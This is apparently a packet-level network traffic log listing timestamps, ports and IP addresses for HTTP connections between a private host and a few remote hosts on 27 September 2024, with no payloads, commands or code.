Sep 27, 2024 16:18:21.331562996 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.331589937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.331653118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331666946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331682920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.331695080 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.331726074 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.332204103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.332252979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.332253933 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.332262993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.332288027 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.332305908 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.332381010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.332400084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.332411051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.332422018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.332428932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.332452059 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.332479000 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.332566023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.332576036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.332585096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.332614899 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.332640886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.333108902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.333121061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.333131075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.333164930 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.333189964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.333245039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.333256006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.333266973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.333276987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.333291054 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.333317995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.333419085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.333429098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.333440065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.333462954 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.333481073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.333990097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.334039927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.334042072 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.334053993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.334074974 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.334089041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.334172010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.334182978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.334192991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.334204912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.334219933 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.334248066 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.334368944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.334379911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.334395885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.334419966 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.334434032 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.334947109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.334997892 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335007906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335021973 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.335033894 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.335052013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.335112095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335123062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335133076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335144997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335159063 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.335186958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.335314989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335325956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335335970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335361958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.335387945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.335881948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335912943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335923910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.335932016 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.335947990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.336028099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.336039066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.336049080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.336061001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.336071014 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.336110115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.336174011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.336184025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.336194992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.336225986 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.336245060 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.336829901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.336878061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.336888075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.336893082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.336920023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.336985111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.336996078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.337007046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.337038994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.337048054 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.337073088 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.337125063 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.337136030 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.337151051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.337162018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.337179899 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.337747097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.337795973 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.337807894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.337819099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.337838888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.337846994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.337876081 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.711117029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711146116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711157084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711182117 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.711206913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.711215019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711226940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711246014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711257935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711286068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.711286068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.711325884 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.711397886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711409092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711443901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.711513996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.711529970 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711540937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711551905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711561918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711575985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711586952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711592913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711597919 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.711606026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711616993 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711631060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.711664915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.711664915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712004900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712017059 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712028027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712038040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712049007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712059021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712069988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712080002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712094069 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:21.712101936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712101936 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712114096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712137938 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712268114 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712281942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712291956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712301970 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712328911 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712380886 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712471962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712481022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712493896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712503910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712515116 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712522030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712537050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712548018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712558031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712567091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712579012 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712587118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712587118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712596893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712609053 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712618113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712625027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712635040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.712661982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712661982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.712696075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.713161945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713179111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713188887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713197947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713207960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713221073 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.713227034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713237047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713247061 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.713247061 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.713255882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713270903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713280916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713290930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713300943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713310957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.713315964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713326931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713335991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713344097 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.713344097 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.713355064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713365078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713376999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713387966 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713397026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713411093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713418007 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.713424921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713435888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713447094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.713495970 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.713495970 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.714061022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714081049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714092016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714104891 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714111090 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.714121103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714132071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714140892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714153051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714165926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714170933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.714179993 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714190006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714200974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714209080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.714209080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.714219093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714230061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714240074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714250088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714258909 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.714258909 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.714267969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714282036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714292049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714298964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.714308977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.714330912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.714366913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.714987040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715003014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715012074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715023041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715032101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715038061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715048075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715061903 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715066910 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.715075970 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715086937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.715092897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715102911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715114117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715123892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715131044 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.715140104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715148926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715157032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.715166092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715174913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.715183020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715193033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715204000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715214014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715224028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715231895 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.715241909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715255022 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.715279102 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.715924978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715936899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715954065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715964079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715975046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715986967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.715995073 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716000080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.716000080 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.716012001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716022968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716041088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716051102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716061115 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.716069937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716079950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716089964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716099977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716108084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.716108084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.716119051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.716130018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.716139078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.716145992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.716155052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.716166019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.716172934 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.716172934 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.716181993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.716212988 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.716212988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.716219902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716232061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716265917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.716329098 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.716851950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716870070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716881037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716891050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716901064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716908932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.716918945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716929913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716939926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716945887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716954947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716955900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.716964960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716974974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716979980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716984987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.716995001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717008114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717015028 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.717015028 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.717025995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717036963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.717046976 CEST	80	49615	185.215.113.117	192.168.2.6
